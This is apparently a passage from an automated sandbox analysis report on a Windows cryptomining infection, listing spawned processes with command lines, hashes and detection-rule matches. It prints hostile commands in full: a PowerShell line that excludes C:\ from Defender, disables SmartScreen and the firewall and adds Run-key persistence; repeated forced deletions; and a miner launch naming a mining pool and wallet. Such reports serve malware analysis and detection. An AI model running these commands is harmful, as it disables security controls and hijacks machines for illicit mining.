                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:23
                                                                                                                                                                                                      Start time:17:01:49
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:24
                                                                                                                                                                                                      Start time:17:01:49
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
                                                                                                                                                                                                      Imagebase:0x7ff612400000
                                                                                                                                                                                                      File size:447488 bytes
                                                                                                                                                                                                      MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:.Net C# or VB.NET

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:25
                                                                                                                                                                                                      Start time:17:01:49
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:26
                                                                                                                                                                                                      Start time:17:01:49
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:27
                                                                                                                                                                                                      Start time:17:01:50
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:28
                                                                                                                                                                                                      Start time:17:01:51
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:29
                                                                                                                                                                                                      Start time:17:01:52
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:32
                                                                                                                                                                                                      Start time:17:01:53
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:33
                                                                                                                                                                                                      Start time:17:01:53
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:34
                                                                                                                                                                                                      Start time:17:01:53
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:35
                                                                                                                                                                                                      Start time:17:01:54
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
                                                                                                                                                                                                      Imagebase:0x140000000
                                                                                                                                                                                                      File size:945944 bytes
                                                                                                                                                                                                      MD5 hash:EFE5769E37BA37CF4607CB9918639932
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 00000023.00000003.443793311.0000000000801000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 00000023.00000002.489624357.00000000007EC000.00000004.00000010.00020000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                                                      Antivirus matches:
                                                                                                                                                                                                      • Detection: 4%, Virustotal, Browse
                                                                                                                                                                                                      • Detection: 0%, Metadefender, Browse
                                                                                                                                                                                                      • Detection: 0%, ReversingLabs

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:37
                                                                                                                                                                                                      Start time:17:02:03
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\Systemd\Database.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
                                                                                                                                                                                                      Imagebase:0x7ff714810000
                                                                                                                                                                                                      File size:8295936 bytes
                                                                                                                                                                                                      MD5 hash:EAB270D7108D82EE602CE25C64A5740F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000000.453287398.00007FF715315000.00000008.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.476565930.00007FF715315000.00000008.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000025.00000002.473138674.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000025.00000002.473138674.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000025.00000002.473138674.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:38
                                                                                                                                                                                                      Start time:17:02:04
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:39
                                                                                                                                                                                                      Start time:17:02:04
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:40
                                                                                                                                                                                                      Start time:17:02:05
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\netsh.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                                                                                      Imagebase:0x7ff782af0000
                                                                                                                                                                                                      File size:92672 bytes
                                                                                                                                                                                                      MD5 hash:98CC37BBF363A38834253E22C80A8F32
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:41
                                                                                                                                                                                                      Start time:17:02:05
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:42
                                                                                                                                                                                                      Start time:17:02:05
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:43
                                                                                                                                                                                                      Start time:17:02:06
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:44
                                                                                                                                                                                                      Start time:17:02:06
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:45
                                                                                                                                                                                                      Start time:17:02:06
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:46
                                                                                                                                                                                                      Start time:17:02:07
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:47
                                                                                                                                                                                                      Start time:17:02:07
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:48
                                                                                                                                                                                                      Start time:17:02:07
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:49
                                                                                                                                                                                                      Start time:17:02:07
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:50
                                                                                                                                                                                                      Start time:17:02:07
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:51
                                                                                                                                                                                                      Start time:17:02:08
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:52
                                                                                                                                                                                                      Start time:17:02:08
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
                                                                                                                                                                                                      Imagebase:0x140000000
                                                                                                                                                                                                      File size:945944 bytes
                                                                                                                                                                                                      MD5 hash:EFE5769E37BA37CF4607CB9918639932
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 00000034.00000003.461891685.0000000003131000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 00000034.00000002.528060433.00000000007ED000.00000004.00000010.00020000.00000000.sdmp, Author: Florian Roth

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:53
                                                                                                                                                                                                      Start time:17:02:08
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:54
                                                                                                                                                                                                      Start time:17:02:09
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:55
                                                                                                                                                                                                      Start time:17:02:09
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:56
                                                                                                                                                                                                      Start time:17:02:10
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:57
                                                                                                                                                                                                      Start time:17:02:10
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:58
                                                                                                                                                                                                      Start time:17:02:10
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:59
                                                                                                                                                                                                      Start time:17:02:10
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:60
                                                                                                                                                                                                      Start time:17:02:10
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:61
                                                                                                                                                                                                      Start time:17:02:10
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
